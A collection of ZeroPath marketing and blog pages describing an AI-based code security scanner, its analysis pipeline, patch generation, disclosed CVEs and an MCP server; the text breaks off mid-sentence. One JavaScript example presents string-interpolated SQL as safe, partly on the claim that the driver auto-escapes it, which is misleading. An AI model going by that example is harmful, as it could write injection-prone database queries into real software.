Access all codebase intelligence programmatically for custom tooling and reporting This comprehensive inventory helps security teams understand their attack surface, enables architects to make informed decisions, and allows developers to find similar patterns across the organization. ## Language Support ZeroPath provides first-class support for: - JavaScript/TypeScript - Python - Java - C# - Go - Ruby - Rust - C/C++ - PHP - Swift - Kotlin - Scala - Perl - Dart - Elixir - Vue - Svelte - Embedded Template ## Built for Scale ZeroPath is engineered to handle the largest, most complex codebases: - **Million+ line repositories**: Easily processes repos with over 1 million lines of code - **Monorepo support**: Intelligently handles massive monorepos with multiple applications - **Parallel processing**: Scales horizontally for optimal performance - **Incremental scanning**: PR scans complete in under 60 seconds by analyzing only changed code - **Enterprise-grade infrastructure**: Built on the same foundation that powers our 125,000+ monthly scans Whether you're a startup with a single repository or an enterprise with thousands of applications, ZeroPath scales with your needs without compromising performance or accuracy. PR scans maintain sub-60 second performance while full repository scans provide comprehensive security analysis. ## See It In Action ZeroPath's Application Explorer lets you visualize your codebase graphically, understanding vulnerability paths and application architecture at a glance. Our intelligent scanning even detects multiple applications within monorepos automatically. ### Automatic Issue Attribution When ZeroPath finds a vulnerability, it automatically analyzes git history to identify who introduced the issue. This smart attribution: - Assigns issues to the right developer instantly - Sends notifications via Slack, Linear, Jira, or email - Reduces the overhead of triaging security findings - Helps teams understand security patterns and provide targeted training No more hunting through git blame or lengthy triage meetings. Issues go directly to the developer who can fix them fastest. ## How ZeroPath Works ### Code Analysis in Action When ZeroPath scans your code, it builds a comprehensive understanding of your application: 1. **AST Generation**: Creates detailed Abstract Syntax Trees to map code structure and relationships 2. **Code Understanding**: Analyzes the semantic meaning of your code, not just syntax 3. **Data Flow Analysis**: Tracks how data moves through your application from entry points to sensitive operations 4. **Business Logic Comprehension**: Understands the intended behavior vs actual implementation 5. **Relationship Mapping**: The AST maps complex relationships between different files, functions, classes, and components across your entire codebase This AST-based approach enables ZeroPath to understand complex relationships between components, trace data flows across multiple files, and identify vulnerabilities that require deep structural understanding of your code. ### SAST Tool Enhancement Pipeline When processing findings from external SAST tools, ZeroPath applies its full analytical capabilities: 1. **Finding Import**: Ingest results from Semgrep, Snyk, Checkmarx, SonarQube, Veracode, Fortify, or Synopsys 2. **Contextual Validation**: Apply AST and LLM analysis to verify if findings are real vulnerabilities 3. **False Positive Elimination**: Remove findings that don't represent actual security risks 4. **Severity Recalculation**: Adjust severity based on actual exploitability in your specific context 5. **Patch Generation**: Create working fixes for all validated vulnerabilities 6. **Integration**: Push fixes back through your existing workflow This transforms your existing SAST investment from a source of noise into a powerful remediation engine. ### Pull Request Integration Every PR is automatically scanned in under 60 seconds with clear, actionable feedback: - Inline comments on vulnerable code - One-click patch suggestions - Severity indicators that match your team's SLAs - Links to detailed explanations and remediation guidance ### Intelligent Vulnerability Detection ZeroPath's AI-driven approach combined with AST analysis enables detection of vulnerabilities that require human-like reasoning: - **Race Conditions**: Identifies timing-based vulnerabilities in concurrent code by analyzing execution paths - **State Management Issues**: Finds flaws in how applications handle state transitions across components - **Complex Authorization Bugs**: Detects privilege escalation paths that span multiple components using relationship mapping - **Business Logic Flaws**: Understands when code doesn't match business requirements through semantic analysis The AST provides the structural foundation while our LLMs add the contextual understanding, creating a powerful combination that catches vulnerabilities other tools miss. ### Precision Patch Generation Our patch generation goes beyond simple fixes: 1. **Contextual Fixes**: Patches that respect your coding patterns and architecture 2. **Minimal Changes**: Fixes only what's necessary without disrupting surrounding code 3. **Functionality Preservation**: Before generating any patch, ZeroPath validates that the fix won't break existing functionality or alter intended application behavior 4. **Test-Aware**: Considers existing test coverage when generating patches 5. **Performance Conscious**: Ensures security fixes don't introduce performance regressions Every patch is thoroughly analyzed to ensure it resolves the vulnerability without introducing new issues or changing how your application works for legitimate users. ## Real-World Use Cases ### Financial Services A major fintech company used ZeroPath to secure their payment processing system. Results: - Found 12 critical business logic flaws missed by traditional SAST - Reduced security review time from 2 weeks to 2 hours - Achieved SOC 2 compliance 3 months faster than projected - Transformed 5,000+ Checkmarx findings into 127 real issues with automatic fixes ### Healthcare Technology A healthcare platform handling millions of patient records implemented ZeroPath: - Discovered authorization bypasses in their API gateway - Automated HIPAA compliance checking - Reduced security-related deployment delays by 85% - Consolidated findings from Veracode and Fortify, reducing noise by 94% ### Cryptocurrency Exchange A top crypto exchange uses ZeroPath to secure their trading platform: - Continuous monitoring of smart contract interactions - Detection of race conditions in high-frequency trading code - Protection against novel attack vectors in DeFi integrations - Enhanced Semgrep rules with contextual validation and auto-patching ## Beyond Traditional SAST ### What Sets ZeroPath Apart **Traditional SAST Tools:** - Pattern matching against known vulnerabilities - High false positive rates (often 80%+) - Miss business logic flaws - Generate generic, often broken patches - Require security expertise to configure and use - Surface-level code analysis **ZeroPath:** - AST-based analysis combined with LLM understanding - False positive rate under 10% - Finds complex, contextual vulnerabilities - Generates working, tested patches - Natural language configuration anyone can use - Deep structural understanding of code relationships - Enhances existing SAST tools instead of replacing them ### Real Vulnerability Examples **Business Logic Flaw in E-commerce Platform:** ZeroPath discovered that a major retailer's discount system could be exploited by applying multiple promotional codes in a specific sequence, resulting in negative prices. Traditional tools missed this because it required understanding the business rules, not just code patterns. **Authentication Bypass in SaaS Application:** Found a vulnerability where JWT tokens from development environments were accepted in production due to shared signing keys. This required understanding environment configurations across multiple services and configuration files. **Prompt Injection in AI-Powered Support System:** Detected that customer support chatbot could be manipulated to expose internal documentation by crafting specific queries. ZeroPath understood the LLM integration pattern and identified unsafe prompt construction. ## Get Started Today Ready to experience security tooling that respects your time and actually makes your code safer? Join the 750+ companies already using ZeroPath to secure their applications. Integration takes about 1 minute, even for large organizations. **[Schedule a demo →](https://cal.com/zeropath/30)** ## Security Team Benefits ### Unified Security Posture - Single dashboard for all application security metrics - Cross-repository vulnerability tracking - Compliance reporting across frameworks (SOC 2, HIPAA, PCI-DSS) - Executive dashboards with business-relevant metrics - Consolidated view of findings from all SAST tools ### Efficient Triage - Automatic deduplication of similar vulnerabilities - Risk-based prioritization using business context - Integration with existing ticketing systems - Clear remediation timelines and ownership - Eliminate false positives from traditional SAST tools ### Continuous Improvement - Track security metrics over time - Identify training opportunities by team and technology - Measure the impact of security initiatives - Benchmark against industry standards - Compare effectiveness of different SAST tools ## Why Context Matters Traditional security tools operate like spell checkers, looking for known bad patterns. ZeroPath works like a skilled code reviewer who understands your application. Consider this example: ```javascript // Traditional tools flag this as SQL injection const query = `SELECT * FROM users WHERE id = ${userId}`; // But ZeroPath understands: // 1. userId comes from authenticated JWT token // 2. It's validated as UUID earlier in the flow // 3. The database driver auto-escapes this pattern // Result: No vulnerability (with full explanation) ``` This contextual understanding eliminates thousands of false positives while catching subtle vulnerabilities like: - A admin check that only works for the primary tenant in a multi-tenant app - An API endpoint that bypasses rate limiting when called with specific headers - A password reset flow that leaks user existence through timing differences ## What's Next This v1 launch is just the beginning. We're committed to continuously improving ZeroPath based on your feedback and the evolving security landscape. As new vulnerability classes emerge, ZeroPath will detect them automatically. Your security coverage improves without any action on your part. ## The ZeroPath Advantage ### For Developers - Ship faster with confidence - Learn secure coding through intelligent feedback - Focus on building features, not fixing false positives - Get security reviews in seconds, not days ### For Security Teams - Cut mean time to remediation by 70% - Scale security coverage without growing headcount - Focus on strategic initiatives instead of manual reviews - Demonstrate compliance with comprehensive reporting - Maximize ROI from existing SAST tool investments ### For Engineering Leaders - Accelerate release cycles without compromising security - Reduce security debt systematically - Lower the cost of achieving compliance - Build security culture through automation ## Return on Investment ZeroPath customers typically see: - **80% reduction** in vulnerabilities reaching production - **Significant decrease** in time spent on security reviews - **50% reduction** in penetration test findings - **95% reduction** in false positives from traditional SAST tools With the average data breach costing $4.35 million and taking 277 days to identify and contain, ZeroPath pays for itself by preventing just one incident. ## Getting Started is Simple 1. **Connect Your Repository** (30 seconds) - OAuth integration with your VCS - Select repositories to scan - Configure team permissions 2. **Run Your First Scan** (30 seconds) - ZeroPath analyzes your codebase - Generates comprehensive security report - Provides actionable recommendations 3. **Enable Continuous Protection** (optional) - Set up PR scanning - Configure notification preferences - Enable Auto AppSec Mode for automatic fixes - Connect existing SAST tools for enhanced validation Total time to value: About 1 minute. ## Join the Security Revolution ZeroPath represents a fundamental shift in how we approach application security. By combining the pattern recognition capabilities of traditional tools with the contextual understanding of AI, we've created a platform that makes security accessible, actionable, and automatic. The 750+ companies already using ZeroPath aren't just finding more vulnerabilities. They're building more secure applications from the ground up, shipping faster, and sleeping better at night. **[Schedule your demo today →](https://cal.com/zeropath/30)** For a detailed technical breakdown of how ZeroPath works and our zero-day discoveries, check out our [technical deep dive](https://zeropath.com/blog/how-zeropath-works). --- *Have questions? Reach out at hello@zeropath.com* --- #### How ZeroPath Works - **Date**: July 6, 2025 - **Authors**: Raphael Karger - **Reading Time**: 15 minutes - **Keywords**: Product, AI, ZeroPath, SAST, AI SAST, AST analysis, source-to-sink analysis, call graph, vulnerability detection, static analysis, business logic vulnerabilities, authentication vulnerabilities, SQL injection, IDOR, LLM security, AI vulnerability detection, automated patch generation, reachability analysis, application security, AppSec, code analysis, security scanning - **URL**: https://zeropath.com/blog/how-zeropath-works Technical deep-dive into ZeroPath's SAST methodology: From AST generation to AI-powered vulnerability discovery and automated patch generation. --- --- > **TL;DR: This post explains how ZeroPath's unified AppSec platform (SAST, SCA, secrets, IaC, and EOL checks) works, focusing on its AI-powered SAST engine.** > > - **Unified vulnerability coverage:** finds business-logic flaws, authentication/authorization bypasses, and classic technical issues such as SQLi, XSS, and SSRF. > - **Continuously adaptive detection:** the tool automatically updates to recognize new vulnerability classes, such as prompt-injection attacks. > - **End-to-end workflow:** trigger → AST → enriched graph → vulnerability discovery → vulnerability validation → patch generation. > - **Fast developer experience:** pull-request scans finish in under 60s on GitHub, GitLab, Bitbucket, and Azure DevOps across 16+ languages. > - **Signal over noise:** reachability-aware data-flow analysis surfaces only exploitable paths, cutting false positives. > - **Fixes, not just findings:** the platform opens PRs with validated patches; developers can refine them using natural-language prompts. > - **Enterprise-ready deployment:** available as SaaS or on-premises via private cloud, with SSO/SAML support, SOC 2 and GDPR compliance (ISO 27001 underway). > - **Proven in the wild:** more than 125,000 scans each month for 750+ organizations, with critical CVEs disclosed in Netflix, Hulu, and Salesforce code. > > **→ [Schedule a live demo or set up a PoC](/demo)** --- ZeroPath is an Application Security (AppSec) platform that provides a way to manage all of your code security at once. This post focuses specifically on ZeroPath's Static Application Security Testing (SAST) engine, the AI-driven core that analyzes source code to detect security vulnerabilities. But this engine is also how we drive SCA and Custom Policy results. ZeroPath finds vulnerabilities without relying on rules, rule-based engines, or long lists of language specific "sinks" and "sources". This is unusual in AppSec, where most vendors are quietly relying on Semgrep, OpenGrep, or other open-source policy engines. But building our tooling from the ground up with LLMs allows the system to automatically adapt and find new types of issues without requiring developer specification. Additionally, it allows teams to define custom security rules using natural language, making it easier to enforce organization-specific security policies without writing complex regex patterns. Developed by security engineers, our custom-built SAST tool identifies complex issues often missed by conventional methods, including business logic flaws, authentication vulnerabilities, and emerging threats like AI-specific vulnerabilities such as prompt injection attacks. Traditional SAST tools struggle to detect business logic and authentication vulnerabilities because they rely on pattern matching rather than understanding application behavior. ZeroPath has been used to uncover vulnerabilities in major open-source repositories owned by companies like Netflix, Hulu, and Salesforce. By understanding code context and functionality through our proprietary AI engine, ZeroPath's SAST capabilities provide accurate detection with fewer false positives. The tool performs pre-merge scanning, analyzing code before it's merged into the main codebase. Pull-request scans typically complete in under 60s, enabling early detection of security issues without impeding development workflows. ZeroPath currently provides first-class support for C, C++, PHP, Go, Ruby, Perl, Rust, Python, Scala, Kotlin, Swift, JavaScript/TypeScript, Dart, Elixir, Java, and C#, including templating engines like Svelte and Embedded Ruby. It uses the tree-sitter library for Abstract Syntax Tree (AST) generation, allowing rapid integration of additional or custom language grammars. Given the prevalence of AI in security tools, we prioritize transparency. The following sections provide an overview of ZeroPath's functionality and demonstrate how our approach has led to the discovery of critical vulnerabilities in production systems used by major companies. ## Why AI-Driven SAST Matters Traditional SAST tools face fundamental limitations in modern application security. While they excel at finding certain pattern-based vulnerabilities, they struggle with context-dependent issues that require understanding how code actually behaves. This includes business logic flaws, authentication bypasses, and complex data flow vulnerabilities that don't match predefined patterns. ZeroPath's AI-driven approach represents a different paradigm. Instead of relying solely on rules and patterns, our engine understands code semantics and can reason about application behavior. This enables detection of vulnerability classes that rule-based systems simply cannot identify. For teams interested in detailed performance comparisons, we've published our [benchmarking methodology and results](https://zeropath.com/blog/benchmarking-zeropath). The key takeaway is that AI-driven analysis opens up entirely new categories of vulnerability detection, particularly for business logic and authentication issues that have traditionally required manual security reviews. ## ZeroPath Architecture and Workflow ZeroPath's vulnerability detection process consists of six key stages, each designed to contribute to the accuracy of its findings. The following section breaks down these stages, providing a technical overview of how the system operates to identify security issues in code bases. ```mermaid graph LR A[Trigger Scan] --> B[Application
Identification] B --> C[AST Generation
& Indexing] C --> D[Graph
Enrichment] D --> E[Vulnerability
Discovery] E --> F[Validation
& Verification] F --> G[Patch
Generation] ``` ### Triggering a Scan ZeroPath scans can be initiated through multiple methods: 1. **Scheduled/Manual Scans** These are initiated through the dashboard, CLI, or our [fully documented API](https://zeropath.com/docs/api-reference/organizations/list-organizations) (with TypeScript SDK support), or occur at predefined intervals. They perform a more complete analysis of the entire codebase, designed both to catch vulnerabilities in code that may have bypassed PR checks (e.g., direct pushes to the main branch) and refresh the intensive parts of analysis. This document describes what happens when you do a manual scan. 2. **Pull-Request Scans** PR scans are triggered automatically when a pull request is created on your repository. They are implemented as a GitHub check (and similarly for GitLab, Bitbucket, and Azure Pipelines), which avoids using CI/CD minutes, and focus on analyzing only the modified code. To optimize performance, the AST from previous scans is cached, and PR scans complete in around 30 seconds on average. Only the nodes corresponding to updated code are re-parsed and integrated into the existing AST. This incremental updating approach significantly reduces processing time while maintaining high accuracy, resulting in efficient and precise scans. 3. **Auto AppSec Mode** For teams wanting continuous security coverage, repositories can be configured to scan automatically on a schedule with high severity issues automatically generating pull requests for remediation. ### Application Identification ZeroPath starts by using AI agents to investigate what applications are inside your repository and gather some basic data about how they work. This step is crucial when dealing with mono-repositories or repositories containing multiple services, as often happens with microservice architectures. Specifically, we: 1. Identify directory boundaries for each application 2. Generate application descriptions and metadata, noting details like the auth procedure and tech stack 3. Collect additional contextual information helpful for subsequent analysis stages This process helps ensure that ZeroPath has enough information about your apps to discriminate between relevant and irrelevant security issues. ### AST Generation and Indexing To illustrate the following steps, we will be using a [basic Django application](https://gist.github.com/r0path/dfb9c5657fc8b8d7c25b33d9cfcc6a26) that provides fundamental functionality for: 1. User management (creating and listing users) 2. Content management (creating and listing posts) 3. User authentication (login and logout capabilities) Below is an example of the method to retrieve users from the application: ```python class UserViewSet(View): def get(self, request): users = User.objects.all() return render(request, 'user_list.html', {'users': users}) ``` That's how it's represented as plain text, but as with most languages this is broken down into an intermediate representation before compilation. Using tree-sitter we can convert the method definition into an AST that has standard names for things like `function_definition`, `body`, and etc.: ```lisp (function_definition name: (identifier) ; get parameters: (parameters (identifier) ; self (identifier)) ; request body: (block (expression_statement (assignment left: (identifier) ; users right: (call function: (attribute object: (attribute object: (identifier) ; User attribute: (identifier)) ; objects attribute: (identifier)) ; all arguments: (argument_list)))) (return_statement (call function: (identifier) ; render arguments: (argument_list (identifier) ; request (string) ; 'user_list.html' (dictionary (pair key: (string) ; 'users' value: (identifier)))))))) ; users ``` This AST representation breaks down the `get_users` function, showing its structure, parameters, and the operations it performs. Each node in the tree is represented by parentheses, with the node type followed by its children. Leaf nodes (like identifiers and strings) are represented directly. Comments after semicolons provide additional information or clarification about the nodes. This format allows for a detailed, hierarchical view of the code structure, making it easier to analyze. In particular, from the AST we create a **call graph**, which is a map of the program's function invocations. The call graph facilitates navigation through the codebase during vulnerability analysis, and also provides a complete summary of the application's structure and behavior. This holistic understanding is key to our tool's ability to detect complex, context-dependent vulnerabilities, and it looks something like this: ```mermaid graph TD A[WSGI Handler: process_request] --> B[URL Dispatcher: resolve] B --> C1[UserViewSet: dispatch] B --> C2[PostViewSet: dispatch] B --> C3[LoginView: dispatch] B --> C4[LogoutView: dispatch] C1 --> D1[UserViewSet: list] C1 --> D2[UserViewSet: create] C2 --> D3[PostViewSet: list] C2 --> D4[PostViewSet: create] C3 --> D5[LoginView: post] C4 --> D6[LogoutView: post] D1 & D2 --> E1[User.objects.all/create] D3 & D4 --> E2[Post.objects.all/create] D5 --> E3[authenticate] D5 --> E4[login] D6 --> E5[logout] D1 & D3 --> F1[render] D2 & D4 --> F2[render] F1 & F2 --> G[context_processor] D1 & D2 & D3 & D4 & D5 & D6 --> H[HttpResponse] ``` ### Graph Enrichment After generating the AST, we enrich the graph with contextual information by identifying features like endpoints (exposed functions or URLs that can be accessed externally) and assigning attributes to each node. These attributes can be details such as request paths, HTTP methods, and authentication and authorization mechanisms. For example, a node representing a login function might be enriched with attributes indicating it accepts POST requests, and implements rate limiting. A key aspect of this enrichment is recognizing how middleware and other security controls are implemented across the application. This process transforms the basic AST into a more comprehensive representation of the application's structure and behavior. While the initial AST shows the structure of individual functions, this enriched call graph demonstrates how these functions interact and what security measures are in place throughout the application flow. ```mermaid graph TD A[Django WSGI Handler] -->|Process Request| B[URL Dispatcher] %% Middleware Chain A -->|Pre-process| M1[Security Middleware] M1 -->|HTTPS Redirect| M2[Session Middleware] M2 -->|Manage Sessions| M3[Authentication Middleware] M3 -->|Authenticate User| M4[CSRF Protection Middleware] M4 -->|CSRF Validation| B %% URL Patterns and Views B -->|/api/users/| C1[UserViewSet] B -->|/api/posts/| C2[PostViewSet] B -->|/auth/login/| C3[LoginView] B -->|/auth/logout/| C4[LogoutView] %% View Methods C1 -->|GET| D1[List Users] C1 -->|POST| D2[Create User] C2 -->|GET| D3[List Posts] C2 -->|POST| D4[Create Post] C3 -->|POST| D5[Authenticate User] C4 -->|POST| D6[End Session] %% Database Interactions D1 & D2 -->|Query/Update| E1[User Model] D3 & D4 -->|Query/Update| E2[Post Model] E1 & E2 -->|ORM| F[Database] %% Template Rendering D1 & D3 -->|Render| G1[List Template] D2 & D4 -->|Render| G2[Detail Template] G1 & G2 -->|Apply| H[Context Processors] %% Static Files and Caching I[Static File Handler] -->|Serve| J[Static Files] K[Cache Middleware] -->|Cache Responses| A %% Response Flow D1 & D2 & D3 & D4 & D5 & D6 -->|Generate Response| L[Response Object] L -->|Process Response| M4 M4 -->|Process Response| M3 M3 -->|Process Response| M2 M2 -->|Process Response| M1 M1 -->|Process Response| A %% Authentication Flow D5 -->|Success| N[Create Session] D5 -->|Failure| O[Error Response] D6 -->|Logout| P[Delete Session] classDef middleware fill:#f9f,stroke:#333,stroke-width:2px; class M1,M2,M3,M4,I,K middleware; ``` ### Vulnerability Discovery and Validation Finally we get to the most important part, using the call graph to discover vulnerabilities. In our application security analysis, vulnerabilities are bucketed into three main types: 1. **Technical Vulnerabilities**: These encompass implementation-specific security flaws such as SQL Injection (SQLi), XML External Entity (XXE) injection, Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), leaking of secrets, and Server-Side Request Forgery (SSRF). 2. **Business Logic Flaws**: These vulnerabilities arise from flaws in the application's logic. Examples include: - Price manipulation in e-commerce systems - Exploitation of coupon systems leading to incorrect pricing - Bypassing intended workflow sequences - Lack of rate limiting especially when interacting with external APIs (leading to excessive charges from providers) 3. **Authentication/Authorization Issues**: These stem from improper implementation of user authentication or access control mechanisms. Common subtypes include: - Insecure Direct Object Reference (IDOR) - Missing Function Level Access Control - Broken Session Management Each category requires distinct analysis techniques. Technical vulnerabilities often involve pattern matching and taint analysis, business logic flaws require understanding of intended application behavior, and authentication/authorization issues necessitate comprehensive flow analysis of user sessions and permissions. Some ways we find these bugs: ```mermaid graph LR A[User Input
Sources] --> B[Data Flow
Analysis] B --> C{Sanitization
Check} C -->|No| D[Potential
Vulnerability] C -->|Yes| E[Safe Path] D --> F[Authentication
Check] F --> G[MCTSr
Validation] G --> H{Exploitable?} H -->|Yes| I[Confirmed
Vulnerability] H -->|No| J[False Positive] ``` * AI-driven Sink and Source Analysis: ZeroPath uses AI to identify potential vulnerability sinks (dangerous functions) and sources (user inputs) throughout the codebase, then traces data flow between them to detect exploitable paths. * Natural Language Rules: Teams can define custom security policies using plain English, which the system converts into security checks. * Threat Modeling: ZeroPath generates attack scenarios and verifies them by performing rigorous investigations of the code. * Integrated SCA with Reachability Analysis: While SCA is a separate component of our platform, it feeds vulnerability data directly into our SAST engine's source-to-sink analysis. The SCA component identifies vulnerable dependencies and maps CVEs to specific functions within those dependencies, leveraging OSV.dev's comprehensive vulnerability database that aggregates GitHub advisories, ecosystem-specific security bulletins, and other trusted sources. These vulnerable functions are treated as sinks in our AST-based analysis. ```mermaid graph LR A[OSV.dev
CVE Data] --> B[Map CVEs to
Dependency Functions] B --> C[Vulnerable Functions
as Sinks] C --> D[SAST Engine
Analysis] E[User Input
Sources] --> D D --> F{Reachable
Path?} F -->|Yes| G[MCTSr
Validation] F -->|No| H[Not Exploitable] G --> I{Validated?} I -->|Yes| J[Report
Vulnerability] I -->|No| H ``` The SAST engine then determines if these vulnerabilities are exploitable by tracing whether user-controllable inputs can reach them through the call graph, accounting for: - Sanitization functions in the execution path - Authentication and authorization checks - The specific context of how the dependency is used This approach eliminates many false positives since we only flag dependencies when there's an actual exploitable path from user input to the vulnerable code, rather than simply reporting all CVEs in your dependency tree. While this post focuses on our SAST capabilities, it's worth noting that ZeroPath's platform also includes other complementary security tools like secret scanning and validation, and Infrastructure as Code (IaC) scanning. These tools work together to provide application security coverage. Our methodology for investigating business logic flaws and broken authentication vulnerabilities combines two AI techniques: [Tree-of-Thoughts (ToT)](https://arxiv.org/abs/2305.10601) and an adaptation of the [ReAct framework](https://arxiv.org/abs/2210.03629). ToT enables multi-path reasoning, intermediate step evaluation, and outcome ranking. This improves our ability to explore complex vulnerability scenarios. The ReAct-inspired component enforces structured tool usage with explicit action justification, enhancing the rigor of our investigative process. By integrating these techniques, we've developed a framework that allows for thorough vulnerability assessment. ToT facilitates thorough scenario exploration, while the ReAct adaptation ensures methodical tool application. This approach has proven particularly effective in addressing the nuanced challenges presented by business logic and authentication vulnerabilities. To further enhance our validation process and ensure the exploitability of identified vulnerabilities, ZeroPath employs a Monte Carlo Tree Self-refine (MCTSr) algorithm. This approach, inspired by recent advancements in AI problem-solving, allows us to efficiently explore and verify complex technical attack vectors. #### Monte Carlo Tree Self-Refine (MCTSr) Our MCTSr implementation builds upon research from Shanghai Artificial Intelligence Laboratory, Fudan University, and collaborating institutions. Their [work](https://arxiv.org/abs/2406.07394) on solving International Mathematical Olympiad problems using Monte Carlo Tree Search and self-refinement techniques provided a foundation that we've adapted for cybersecurity applications. We've modified this approach to navigate the decision trees involved in verifying security vulnerabilities, allowing both for more efficient exploration of potential attack vectors and fewer false positives. The most important part of using MCTSr is defining a "win function". As a static analysis tool, our win function is implemented by an LLM that determines the chances that a hypothesized attack could work, and the severity of the problem using CVSS 4.0 scoring. The particular verification agent we use is different for problems like SSTI, SQLi, XSS, and business logic issues. Generally, an agent is designed to pull in relevant information from previous stages, and consider all of the controls that could make an attack impractical. If the LLM investigator determines that a given attack is above a given practicality threshold, it's sent for the next stage, which is patch generation and tweaking. ### Patch Generation, Tweaking, and Integration After discovering your vulnerability, we do a first pass check to see if we can fix it safely. Some vulnerabilities, like hardcoded secrets and SSRF, often require redesign and are marked unpatchable. For issues deemed patchable, we leverage the data collected from earlier stages, leaning towards existing sanitization functions and minimal code modifications. Our validation process verifies vulnerability remediation, ensures syntactic correctness and functional preservation, and rescans to prevent new vulnerabilities. Patches failing validation undergo refinement. Deployment methods vary: manual scans allow direct user approval and application via pull requests, while PR scans automatically create pull requests for fixes. Teams can customize PR formatting including titles, descriptions, branch names, and commit messages to match their conventions. ```mermaid graph LR A[Patch Generated] --> B{Check Patch} B --> |Vulnerability Fixed| C{Check Syntax} C --> |Syntax Correct| D{Check Functionality} D --> |Functionality Unchanged| E{Rescan for New Vulnerabilities} E --> |No New Vulnerabilities| F{Determine Scan Type} F --> |Manual Scan| G[Enable User to Apply Patch] G --> H[Create PR for User to Merge] F --> |PR Scan| I[Create PR to Fix Vulnerability Automatically] B --> |Vulnerability Not Fixed| J[Send Back to Pipeline] C --> |Syntax Incorrect| J D --> |Functionality Changed| J E --> |New Vulnerabilities Found| J J --> A ``` This code generation system supports multi-file, codebase-wide changes, incorporating techniques from [AutoCodeRover](https://arxiv.org/abs/2404.05427v2). It integrates with PRs, allowing developers to refine patches using natural language commands. The system can implement complex modifications across multiple files without requiring manual coding for each adjustment. ![Screenshot of ZeroPath PR modification interface showing natural language patch refinement](https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/pr-modification.png "Screenshot of ZeroPath PR modification interface") ### Security Insights and Team Collaboration Our tool also provides an (optional) centralized dashboard for managing application security across your organizations. It supports multi-user repository sharing with team and organization-based access controls, and provides visualization tools for security posture assessment and trend analysis. For enterprise authentication, ZeroPath integrates with your existing SSO providers including SAML 2.0 and OIDC-compliant systems (Okta, Azure AD, Google Workspace, OneLogin, etc.), enabling seamless user provisioning and centralized access management. The platform includes reporting capabilities that track metrics like mean time to remediation, most common vulnerability classes by language and framework, and vulnerability attribution by teams or authors. Users can access repository-specific views with customizable filtering options. This feature facilitates the prioritization of high-severity issues, enabling teams to focus on the most critical security concerns within their codebase. The platform integrates with GitHub, GitLab, Bitbucket, and Azure Pipelines for version control interaction, and also supports direct code base uploads via zip files for projects using other version control systems or none at all. For broader workflow integration, ZeroPath supports Linear and Jira for issue tracking, along with Slack and email notifications to keep teams informed of security findings. Teams can also interact with vulnerabilities through our Q&A feature, which provides full codebase context for remediation advice and exploitation understanding. The platform offers complete source-to-sink visibility, showing full call graph relationships from the vulnerability source to the exploitable code snippet. Additional capabilities include SBOM (Software Bill of Materials) generation and export, audit logs for compliance, and CWE mapping for standardized vulnerability classification. For organizations requiring multi-tenancy, ZeroPath provides MSP (Managed Service Provider) support with control over multiple organizations. Developers can also leverage our [fully documented API](https://zeropath.com/docs/api-reference/organizations/list-organizations) with TypeScript SDK for custom integrations. ## Public Vulnerabilities and Research The ZeroPath team regularly uses the tool to find new vulnerabilities in open-source projects. We've disclosed numerous significant vulnerabilities in production systems, including: - Local file inclusion in [e2nest](https://github.com/Netflix/e2nest), a Netflix application used internally (CVE-2024-9301) - Unauthorized Redis access in [Monaco](https://github.com/hulu/monaco), a Hulu application allowing access to all Redis clusters (CVE-2024-48946, currently reserved) - Directory traversal in [LogAI](https://github.com/salesforce/logai), a Salesforce tool exposing sensitive files (CVE-2024-48945, currently reserved) - Broken and missing authentication flaws in [LibrePhotos](https://github.com/LibrePhotos/librephotos) - Arbitrary file upload in [LibrePhotos](https://zeropath.com/blog/librephotos-arbitrary-file-upload-vulnerability) - Remote code execution in [Uptrain](https://zeropath.com/blog/uptrain-rce-vulnerability-analysis) - Command injection in [Clone-Voice](https://zeropath.com/blog/command-injection-vulnerability-clone-voice) - Local file inclusion in [Fonoster Voice Server](https://zeropath.com/blog/fonoster-voiceserver-lfi-vulnerability) Note: Some CVEs listed are in reserved status pending full disclosure coordination with vendors. For a complete and up-to-date list of all our vulnerability discoveries, visit our [0-day discoveries blog post](https://zeropath.com/blog/0day-discoveries) and our [Security Wall of Fame](https://zeropath.com/wall). Our team is actively working on responsibly disclosing its current batch of vulnerabilities, reinforcing our commitment to improving security across the open-source ecosystem. ## Try ZeroPath ZeroPath is now publicly available, with 750+ companies of various sizes already using our solution across finance, healthcare, technology, and other sectors, performing 125,000+ scans monthly. The platform is SOC 2 Type II and GDPR compliant, with ISO 27001 certification currently in progress, ensuring enterprise-grade security and data protection standards. **Ready to see ZeroPath in action? [Schedule a personalized demo](/demo) to:** - Explore key features and capabilities. - Discuss your specific use cases and deployment options (SaaS or on-premises). - Set up a proof-of-concept for your organization. - Get implementation and scaling insights. --- #### Introducing ZeroPath’s Open-Source MCP Server - **Date**: March 27, 2025 - **Authors**: ZeroPath Security Research - **Reading Time**: 6 minutes - **Keywords**: MCP, ZeroPath, Application Security, SAST, AI Developer Tools, Claude, Cursor, Static Analysis, Security Automation, Product - **URL**: https://zeropath.com/blog/chat-with-your-appsec-scans Query your product security findings with natural language. ZeroPath’s open-source MCP server integrates with Claude, Cursor, Windsurf, and other tools to surface SAST issues, secrets, and patches—right where developers work. --- **In a moment where AI-powered development environments are rapidly evolving, we're excited to introduce the ZeroPath MCP Server** — a lightweight integration that connects ZeroPath's LLM-powered product security platform with Model Context Protocol (MCP) clients like Claude Desktop and Cursor. This release brings static analysis, secret scanning, and infrastructure-as-code (IaC) security directly into your conversational or IDE-native AI workflows. Want to ask Claude which vulnerabilities are open in your backend repo? Or query dependency issues from inside Cursor without leaving your editor? Now you can. --- ### What We Built We created an open-source MCP server that connects to the ZeroPath API and exposes tools for interacting with your organization's security posture: - List organizations connected to your ZeroPath account - Query vulnerability issues from SAST scans - Pull down patches and proposed fixes - Search for exposed secrets or insecure configurations This server is compatible with any standard MCP client—including Claude, Cursor, and WindSurf. GitHub repo: [https://github.com/ZeroPathAI/zeropath-mcp-server](https://github.com/ZeroPathAI/zeropath-mcp-server) --- ### Why This Matters AppSec teams have been automating their CI/CD pipelines for years. But with the rise of AI-native tools like Claude and Cursor, we're seeing an opportunity to bring security insights into the places developers now spend time thinking and building. Instead of switching tabs or pasting scan results into Jira manually, you can now: - Ask your AI assistant to summarize security issues - Pull in patch diffs for a PR - Get context about infrastructure misconfigurations, secrets, and logic flaws Security tooling should feel like part of your natural development flow. With MCP, it does. --- ### What is MCP? [Model Context Protocol (MCP)](https://www.anthropic.com/news/model-context-protocol) is an open specification for connecting AI tools to external resources and services. It enables local tools (called MCP servers) to expose resources and actions to AI clients over stdin/stdout or other transports. In practical terms, MCP makes it possible to say: 